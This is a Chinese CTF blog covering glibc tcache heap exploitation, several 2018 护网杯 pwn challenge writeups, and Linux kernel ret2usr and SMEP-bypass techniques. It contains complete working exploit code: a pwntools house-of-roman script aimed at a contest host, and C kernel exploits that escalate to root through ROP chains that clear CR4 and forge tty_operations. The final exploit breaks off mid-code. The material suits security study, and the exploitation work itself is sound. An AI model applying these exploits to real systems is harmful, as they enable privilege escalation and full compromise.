 R10  0x911
 R11  0x7ffff7aa0ba0 (free) ◂— push   rbx
 R12  0x555555554650 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe0b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
 RIP  0x555555554808 (main+174) ◂— mov    rax, qword ptr [rip + 0x200851]
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
   0x5555555547f4 <main+154>    mov    rdi, rax
   0x5555555547f7 <main+157>    call   free@plt <0x555555554600>
 
   0x5555555547fc <main+162>    mov    rax, qword ptr [rbp - 0x18]
   0x555555554800 <main+166>    mov    rdi, rax
   0x555555554803 <main+169>    call   free@plt <0x555555554600>
 
 ► 0x555555554808 <main+174>    mov    rax, qword ptr [rip + 0x200851] <0x555555755060>
   0x55555555480f <main+181>    mov    rcx, qword ptr [rbp - 0x18]
   0x555555554813 <main+185>    mov    rdx, qword ptr [rbp - 0x18]
   0x555555554817 <main+189>    lea    rsi, [rip + 0x152]
   0x55555555481e <main+196>    mov    rdi, rax
   0x555555554821 <main+199>    mov    eax, 0
────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────
   11 	fprintf(stderr, "malloc(8): %p\n", a);
   12 	fprintf(stderr, "Freeing twice...\n");
   13 	free(a);
   14 	free(a);
   15 
 ► 16 	fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
   17 	fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
   18 
   19 	return 0;
   20 }
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0x7fffffffdfb0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffdfb8 —▸ 0x555555756260 ◂— 0x555555756260 /* '`buUUU' */
02:0010│      0x7fffffffdfc0 —▸ 0x7fffffffe0b0 ◂— 0x1
03:0018│      0x7fffffffdfc8 ◂— 0x0
04:0020│ rbp  0x7fffffffdfd0 —▸ 0x555555554870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffdfd8 —▸ 0x7ffff7a3fa87 (__libc_start_main+231) ◂— mov    edi, eax
06:0030│      0x7fffffffdfe0 ◂— 0x0
07:0038│      0x7fffffffdfe8 —▸ 0x7fffffffe0b8 —▸ 0x7fffffffe3d8 ◂— 0x346d2f656d6f682f ('/home/m4')
pwndbg> heapinfo
3886144
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555756270 (size : 0x20d90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0]: 0x555555756260 --> 0x555555756260 (overlap chunk with 0x555555756250(freed) )

可以看出，这种方法与 fastbin dup 相比也简单了很多。

tcache perthread corruption

我们已经知道 tcache_perthread_struct 是整个 tcache 的管理结构，如果能控制这个结构体，那么无论我们 malloc 的 size 是多少，地址都是可控的。

这里没找到太好的例子，自己想了一种情况

设想有如下的堆排布情况

tcache_    +------------+
\perthread |......      |
\_struct   +------------+
           |counts[i]   |
           +------------+
           |......      |          +----------+
           +------------+          |header    |
           |entries[i]  |--------->+----------+
           +------------+          |NULL      |
           |......      |          +----------+
           |            |          |          |
           +------------+          +----------+

通过一些手段（如 tcache posioning），我们将其改为了

tcache_    +------------+<---------------------------+
\perthread |......      |                            |
\_struct   +------------+                            |
           |counts[i]   |                            |
           +------------+                            |
           |......      |          +----------+      |
           +------------+          |header    |      |
           |entries[i]  |--------->+----------+      |
           +------------+          |target    |------+
           |......      |          +----------+
           |            |          |          |
           +------------+          +----------+

这样，两次 malloc 后我们就返回了 tcache_prethread_struct 的地址，就可以控制整个 tcache 了。

因为 tcache_prethread_struct 也在堆上，因此这种方法一般只需要 partial overwrite 就可以达到目的。

References & thanks to:

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html

http://tukan.farm/2017/07/08/tcache/

https://github.com/bash-c/slides/blob/master/pwn_heap/tcache_exploitation.pdf

https://www.secpulse.com/archives/71958.html

2018护网杯 - pwn - writeup

Sat, 13 Oct 2018 22:29:11 +0800

跟学校的队伍参加了又一次 ?网杯，记录一下 pwn 的 writeup。

gettingstart

binary & exploit here

这道题没什么好说的（比签到题解出的人还多），(double) 0.1 在内存中的存储形式，可以参考 stackexchange

shoppingcart

binary & exploit here

这道题目真是坑了很久，看到 strtoul 就没想通过负数数组越界了，后来发现可以负数越界时已经来不及写 exp 了。比赛结束后通过堆风水解出了题目，后来看白泽的师傅的解法时，发现更简单，这里就介绍一下师傅的解法，用到了 libc 的 got 机制。

漏洞出现在 edit 功能里，存在数组越界，可以通过这个功能来 leak 和 overwrite。

void edit()
{
  unsigned __int64 idx; // rax
  __int64 v1; // ST00_8
  char s[24]; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which goods you need to modify?");
  fgets(s, 24, stdin);
  idx = strtoul(s, 0LL, 0);
  printf("OK, what would you like to modify %s to?\n", good_list[idx]->good, idx);
  good_list[v1]->good[read(0, good_list[v1]->good, 8uLL)] = 0;
}

leak 时可以用 malloc(0)，这样在输入时 fd 就不会被 \0 截断

    puts("How long is your goods name?");
    fgets(s, 24, stdin);
    size = strtoul(s, 0LL, 0);
    p_g = (struct GOOD *)malloc(0x10uLL);
    p_g->money = 999LL;
    p_g->good = (char *)malloc(size);
    puts("What is your goods name?");
    p_g->good[(signed int)read(0, p_g->good, size) - 1] = 0;// size == 0

这样通过 unsorted bin leak 就能 leak 出一个和 main_arena 相关的地址，通过这个地址可以找到 libc 的基址。

leak 完之后再次通过越界写改 __free_hook 即可，我的做法是通过堆风水，比较麻烦。后来发现白泽的师傅使用了 libc.got['__free_hook']，改写 __free_hook 的 got，这样实现起来就方便很多了。

pwndbg> codebase 
codebase : 0x55d24159a000
pwndbg> telescope (0x2021E0+0x55d24159a000-0xb0) 
00:0000│   0x55d24179c130 ◂— 0xa3831 /* '18\n' */
01:0008│   0x55d24179c138 —▸ 0x7f9aa4cbcef8 —▸ 0x7f9aa4cbf7a8 (__free_hook) ◂— 0x0
02:0010│   0x55d24179c140 —▸ 0x55d241c32400 ◂— 0x0
03:0018│   0x55d24179c148 —▸ 0x55d241c32450 —▸ 0x55d24179c0a8 ◂— 0xa31 /* '1\n' */
04:0020│   0x55d24179c150 —▸ 0x55d241c32470 —▸ 0x55d24179c0b0 ◂— 0xa32 /* '2\n' */
05:0028│   0x55d24179c158 —▸ 0x55d241c32490 —▸ 0x55d24179c0b8 ◂— 0xa33 /* '3\n' */
06:0030│   0x55d24179c160 —▸ 0x55d241c324b0 —▸ 0x55d24179c0c0 ◂— 0xa34 /* '4\n' */
07:0038│   0x55d24179c168 —▸ 0x55d241c324d0 —▸ 0x55d24179c0c8 ◂— 0xa35 /* '5\n' */

huwang

binary & exploit here

听 charlie 师傅说这道题目抄了他给国赛出的题。。。

堆的功能没用，完全是硬加上去的。主要的逻辑在 666 这个选项里，功能是从 /dev/urandom 中读取 0xC 个字符，然后经过 n 轮 md5 运算，最后和用户的输入进行比较，如果比较成功则进入另一个有明显漏洞的函数，可以 leak 出 canary，stack 等信息，最后可以栈溢出，比较不成功则程序退出。

void __fastcall secret_in_secret(char *rdi0)
{
  char v1; // ST1B_1
  int s_len; // [rsp+1Ch] [rbp-214h]
  char occupation[256]; // [rsp+20h] [rbp-210h]
  char s[264]; // [rsp+120h] [rbp-110h]
  unsigned __int64 v5; // [rsp+228h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Congratulations, %s guessed my secret!\n", rdi0);// leak
  puts("And I want to know someting about you, and introduce you to other people who guess the secret!");
  puts("What`s your occupation?");
  get_str(occupation, 255LL);
  s_len = snprintf(
            s,
            255uLL,
            "I know a new friend, his name is %s,and he is a noble %s.He is come from north and he is very handsome......"
            "....................................................................................................",
            rdi0,
            occupation);
  puts("Here is your introduce");
  puts(s);
  puts("Do you want to edit you introduce by yourself[Y/N]");
  v1 = getchar();
  getchar();
  if ( v1 == 'Y' )
    read(0, s, s_len - 1);                      // overflow
  printf("The final presentation is as follows:%s\n", s);
}

其中 md5 运算的轮数是用户决定的

    puts("Input how many rounds do you want to encrypt the secret:");
    how_many = get_int();
    if ( how_many > 10 )
    {
      puts("What? Why do you need to encrypt so many times?");
      exit(-1);
    }
    if ( !how_many )
    {
      printf("At least encrypt one time", s_secret);
      exit(-1);
    }
    HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

只判断了大于 10 和不为 0 的情况，但我们可以输入负数，当输入负数时，在 signed 和 unsigned 比较时 -1 会转化为一个很大的数，while 循环就会陷入一段很长时间的运算。

这时如果再开一个 io 连接远程进入到这个流程中，到 MD5 之前

    HIDWORD(v2) = open("/tmp/secret", 01001);
    LODWORD(v2) = 0;
    while ( (unsigned int)v2 < how_many )       // negative
    {
      MD5((__int64)s_secret, 16LL, (__int64)s_secret);
      LODWORD(v2) = v2 + 1;
    }

这里 open 是以 O_WRONLY | O_TRUNC 的 flags 打开的，其中 O_TRUNC 的含义是 当文件存在且被另一个程序以可写的模式打开时，把文件的长度截短为 0，因此此时第二个 io 将得到一个空的 /tmp/secret，因此只要我们输入 MD5('\0' * 16) 即可通过后边的 memcpy 验证，进入漏洞函数。

进入漏洞函数后，方法就很多了，通过 stack-pivot 进行 orw 或者 leak libc 进而 get shell 都可以，我选择的是使用 open, read, puts 的方法。运气比较好，rdx 满足条件。

six

binary & exploit here

总觉得这道题目以前在哪里见过，忘了是哪次比赛的了。

首先程序有两次 mmap，经过分析，两处空间分别用于保存 shellcode 和模拟栈，shellcode 权限是 rwx 。

void mmap_rwx()
{
  int fd; // ST04_4
  char buf[12]; // [rsp+8h] [rbp-18h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, buf, 6uLL);
  read(fd, &buf[8], 6uLL);
  dest = mmap((void *)(*(_QWORD *)&buf[8] & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7, 34, -1, 0LL);
  stack = (__int64)mmap((void *)(*(_QWORD *)buf & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 3, 34, -1, 0LL) + 1280;
}

程序读取 6 个字节添加到一段 shellcode 之后，6 个字节要满足

3 个奇数 opcode，3个偶数 opcode
各不相同

程序给的 shellcode 为

.data:0000000000202020 ; char sc[1]
.data:0000000000202020 sc:                                     ; DATA XREF: main+71↑o
.data:0000000000202020                                         ; main+87↑o ...
.data:0000000000202020                 mov     rsp, rdi
.data:0000000000202023                 xor     rbp, rbp
.data:0000000000202026                 xor     rax, rax
.data:0000000000202029                 xor     rbx, rbx
.data:000000000020202C                 xor     rcx, rcx
.data:000000000020202F                 xor     rdx, rdx
.data:0000000000202032                 xor     rdi, rdi
.data:0000000000202035                 xor     rsi, rsi
.data:0000000000202038                 xor     r8, r8
.data:000000000020203B                 xor     r9, r9
.data:000000000020203E                 xor     r10, r10
.data:0000000000202041                 xor     r11, r11
.data:0000000000202044                 xor     r12, r12
.data:0000000000202047                 xor     r13, r13
.data:000000000020204A                 xor     r14, r14
.data:000000000020204D                 xor     r15, r15

清空了除 rsp 和 rip 之外的所有通用寄存器，并且可以看出 rsp 被设置为了我们之前 mmap 的空间用来模拟栈

.text:0000000000000C87                 mov     rdx, cs:stack
.text:0000000000000C8E                 mov     rax, [rbp+var_28]
.text:0000000000000C92                 mov     rdi, rdx
.text:0000000000000C95                 call    rax

这样就可以通过 0 号系统调用，即 sys_read 来读取一部分内容了，很自然的想法是读到栈顶（

    read = asm('''
            push rsp
            pop rsi
            mov edx, esi
            syscall
            ''')
    assert len(read) < 7
    io.sendafter("shellcode:\n", read)

这段 shellcode 是符合要求的。

当两次 mmap 的距离比较近时，就可以通过第二次 read 来覆盖 shellcode，进而控制 rip。能控制 rip 的话，直接控制 rip 到我们写的 execve("/bin/sh", 0, 0) 即可。成功率不是 100% 但也相当可观了。

calendar

off-by-one 和 uaf 的漏洞很容易发现，关键就在没有 leak，主办方也提示了使用 house of roman 这种方法。

和原始的 house of roman 不同的是，这里不能直接 malloc 出在 unsorted bin 范围内的 chunk，但因为有 off-by-one，这个不是问题，通过 off-by-one 伪造 size 即可。

另外这道题目当时没给 libc，但可以使用其他题目的 libc，姿势来自 muhe 师傅分享过的一个 ppt

另外调试的时候可以关闭本地的 aslr。

`1`	`# echo 0 > /proc/sys/kernel/randomize_va_space`

最后贴一下我的 exp，写了注释

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import os
import sys

elfPath = "./task_calendar"
libcPath = "./libc.so.6"
remoteAddr = "117.78.26.133"
remotePort = 31666

context.binary = elfPath
elf = context.binary
#  if sys.argv[1] == "l":
    #  io = process(elfPath, timeout = 5)
    #  libc = elf.libc

#  else:
    #  if sys.argv[1] == "d":
        #  io = process(elfPath, env = {"LD_PRELOAD": libcPath})
    #  else:
        #  io = remote(remoteAddr, remotePort, timeout = 5)
    #  if libcPath:
        #  libc = ELF(libcPath)

context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))

def DEBUG():
    base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
    info("edit -> {:#x}".format(0xEC8 + base))
    info("free -> {:#x}".format(0xF0B + base))
    info("malloc -> {:#x}".format(0xDC6 + base))
    raw_input("DEBUG: ")

def add(idx, size):
    assert 1 <= idx <= 4
    assert 0 <= size <= 0x68
    io.sendlineafter("choice> ", "1")
    io.sendlineafter("choice> ", str(idx))
    io.sendlineafter("size> ", str(size))

def edit(idx, size, info):
    assert 1 <= idx <= 4
    io.sendlineafter("choice> ", "2")
    io.sendlineafter("choice> ", str(idx))
    io.sendlineafter("size> ", str(size))
    io.sendafter("info> ", info)
    sleep(0.01)

def delete(idx):
    assert 1 <= idx <= 4
    io.sendlineafter("choice> ", "3")
    io.sendlineafter("choice> ", str(idx))

if __name__ == "__main__":
    while True:
        io = process(elfPath, timeout = 5)
        libc = elf.libc
        #  io = remote(remoteAddr, remotePort, timeout = 5)
        io.sendlineafter("name> ", "m4x")
        add(1, 0x68)
        add(2, 0x68)
        add(3, 0x68)
        # forge unsorted bin
        edit(3, 0x60, flat(0, 0, 0x90, 0x51) + '\n')
        edit(1, 0x68, '0' * 0x68 + '\x91')
        delete(2) # chunk2 -> main_arena + 88
    
        edit(1, 0x68, '1' * 0x68 + '\x71')
        delete(1) # chunk1
        delete(3) # chunk3 -> chunk1
        edit(3, 1, '\x70\x70') # chunk3 -> chunk2 -> main_arena + 88
        edit(2, 1, '\xfd\x1a') # chunk3 -> chunk2 -> __malloc_hook - 0x13 -> 0x7f
    
        add(1, 0x68) # chunk2 -> __malloc_hook - 0x13 -> 0x7f
        add(4, 0x68) # __malloc_hook - 0x13 -> 0x7f
        add(3, 0x68) # 0x7f
        delete(4) # chunk4 -> 0x7f
        edit(4, 7, p64(0)) # chunk4
    
        # unsorted bin attack
        add(1, 0x68)
        edit(1, 9, flat(0, '\0', '\x1b'))
        add(1, 0x68)
    
        # partial overwrite
        #  DEBUG() 
        libc.sym['one_gadget'] = 0xf02a4
        libc.address = 0x7ffff7a0d000
        info("one_gadget -> {:#x}".format(libc.sym['one_gadget']))
        edit(3, 5, '\0\0\0' + p64(libc.sym['one_gadget'])[: 3])
    
        # trigger one_gadget
        delete(4)
        delete(4)
        
        try:
            io.sendlineafter("echo ABCDEFG")
            io.recvuntil("ABCDEFG")
            io.sendline("ls")
            io.interactive()
        except:
            io.close()

再贴一下其他师父这道题目的 wp

http://p4nda.top/2018/10/14/hwb-ctf-2018/#calendar

https://veritas501.space/2018/10/15/护网杯%20pwn%20wp/

https://www.anquanke.com/post/id/162121

以及 house of roman 的参考

https://www.anquanke.com/post/id/162121

Linux Kernel Pwn ABC(II)

Sat, 06 Oct 2018 12:57:09 +0800

这一篇讲 ret2usr 攻击和 smep 保护。主要参考了 Pratical SMEP bypass techniques on Linux。

ret2usr

ret2usr 攻击利用了 用户空间的进程不能访问内核空间，但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件，以 ring 0 特权执行用户空间代码完成提权等操作。

2018 强网杯 - core

上一篇分析了使用 kernel rop 完成提权拿 shell 的步骤，这一篇分析一下使用 ret2usr 手法获取 root shell。

题目就不再分析了，直接分析 exp。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}


void get_shell(void){
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

	if(kallsyms_fd < 0)
	{
		puts("[*]open kallsyms error!");
		exit(0);
	}

	char buf[0x30] = {0};
	while(fgets(buf, 0x30, kallsyms_fd))
	{
		if(commit_creds & prepare_kernel_cred)
			return 0;

		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			/* printf("hex: %s\n", hex); */
			sscanf(hex, "%llx", &commit_creds);
			printf("commit_creds addr: %p\n", commit_creds);
			vmlinux_base = commit_creds - 0x9c8e0;
			printf("vmlinux_base addr: %p\n", vmlinux_base);
		}

		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &prepare_kernel_cred);
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
			vmlinux_base = prepare_kernel_cred - 0x9cce0;
			/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
		}
	}

	if(!(prepare_kernel_cred & commit_creds))
	{
		puts("[*]Error!");
		exit(0);
	}

}


void get_root()
{
	char* (*pkc)(int) = prepare_kernel_cred;
	void (*cc)(char*) = commit_creds;
	(*cc)((*pkc)(0));
	/* puts("[*] root now."); */
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
	puts("[*]read to buf.");
	ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}


int main(void)
{
	find_symbols();
	size_t offset = vmlinux_base - raw_vmlinux_base;
	save_status();

	int fd = open("/proc/core",O_RDWR);
	set_off(fd, 0x40);
	size_t buf[0x40/8];
	core_read(fd, buf);
	size_t canary = buf[0];
	printf("[*]canary : %p\n", canary);

	size_t rop[0x30] = {0};
	rop[8] = canary ; 
	rop[10] = (size_t)get_root;
	rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
	rop[12] = 0;
	rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;
	rop[14] = (size_t)get_shell; 
	rop[15] = user_cs;
	rop[16] = user_rflags;
	rop[17] = user_sp;
	rop[18] = user_ss;

	puts("[*] DEBUG: ");
	getchar();
	write(fd, rop, 0x30 * 8);
	core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

比较一下和 kernel rop 做法的异同。

通过读取 /tmp/kallsyms 获取 commit_creds 和 prepare_kernel_cred 的方法相同，同时根据这些偏移能确定 gadget 的地址。
leak canary 的方法也相同，通过控制全局变量 off 读出 canary。
与 kernel rop 做法不同的是 rop 链的构造
1. kernel rop 通过内核空间的 rop 链达到执行 commit_creds(prepare_kernel_cred(0)) 以提权目的，之后通过 swapgs; iretq 等返回到用户态，执行用户空间的 system("/bin/sh") 获取 shell
2. ret2usr 做法中，直接返回到用户空间构造的 commit_creds(prepare_kernel_cred(0)) （通过函数指针实现）来提权，虽然这两个函数位于内核空间，但此时我们是 ring 0 特权，因此可以正常运行。之后也是通过 swapgs; iretq 返回到用户态来执行用户空间的 system("/bin/sh")

从这两种做法的比较可以体会出之所以要 ret2usr，是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。

SMEP

为了防止 ret2usr 攻击，内核开发者提出了 smep 保护，smep 全程(Supervisor Mode Execution Protection)，是内核的一种保护措施，作用是当 CPU 处于 ring0 模式时，执行 用户空间的代码 会触发页错误；这个保护在 arm 中被称为 PXN。

通过 qemu 启动内核时的选项可以判断是否开启了 smep 保护。

1
2

CISCN2017_babydriver [master●●] grep smep ./boot.sh
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

也可以通过

1
2
3

CISCN2017_babydriver [master●●] grep smep /proc/cpuinfo 
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap intel_pt xsaveopt dtherm ida arat pln pts
......

检测该保护是否开启。

smep 和 CR4 寄存器

系统根据 CR4 寄存器的值判断是否开启 smep 保护，当 CR4 寄存器的第 20 位是 1 时，保护开启；是 0 时，保护关闭。

例如，当

`1`	`$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000`

时，smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要

1
2

mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000

即可关闭 smep 保护。

搜索一下从 vmlinux 中提取出的 gadget，很容易就能达到这个目的。

如何查看 CR4 寄存器的值？
- gdb 无法查看 cr4 寄存器的值，可以通过 kernel crash 时的信息查看。为了关闭 smep 保护，常用一个固定值 0x6f0，即 mov cr4, 0x6f0。

CISCN2017 - babydriver

之前已经分析过使用 uaf 改 cred 的做法，这次换一种方法，通过关闭 smep 保护和 ret2usr 来提权。

这里选取的方法是先通过 uaf 控制一个 tty_struct 结构，在 open("/dev/ptmx", O_RDWR) 时会分配这样一个结构体

tty_struct 的源码如下：

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;
	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;
	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;
	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

为什么要控制这个结构体呢？因为其中有另一个很有趣的结构体 tty_operations，源码如下：

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

大把的函数指针（pwn 手的风水宝地），因此设想构造下图所示结构体

fake_tty_struct  fake_tty_operations
+---------+      +----------+
|magic    |  +-->|evil 1    |
+---------+  |   +----------+
|......   |  |   |evil 2    |
|......   |  |   +----------+
+---------+  |   |evil 3    |
|*ops     |--+   +----------+
+---------+      |evil 4    |
|......   |      +----------+
|......   |      |......    |
+---------+      +----------+

那么我们就可以通过不同的操作（如 write, ioctl 等）来跳转到不同的 evil 了。

对这道题目而言，因为开启了 smep 保护，因此如果想 ret2usr 提权，需要修改 cr4 的值，而控制函数指针是不够的，可以控制函数指针进行 stack pivot 等操作到我们排布 rop 链的空间，通过 rop 关闭 smep，进而进行后续操作。

这道题目没给 vmlinux，需要使用 extract-vmlinux 解压内核镜像。

关闭 smep 保护后，就可以通过 rop 来为所欲为了，最终的 exp 如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420

void* fake_tty_operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}


void get_shell()
{
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}
int main()
{
    save_status();

	int i = 0;
    size_t rop[32] = {0};
    rop[i++] = 0xffffffff810d238d;		// pop rdi; ret;
    rop[i++] = 0x6f0;
    rop[i++] = 0xffffffff81004d80;		// mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xffffffff81063694;		// swapgs; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0xffffffff814e35ef;		// iretq; ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;                /* saved CS */
    rop[i++] = user_rflags;            /* saved EFLAGS */
    rop[i++] = user_sp;
    rop[i++] = user_ss;

	for(int i = 0; i < 30; i++)
	{
		fake_tty_operations[i] = 0xFFFFFFFF8181BFC5; 
	}
    fake_tty_operations[0] = 0xffffffff810635f5;  //pop rax; pop rbp; ret;
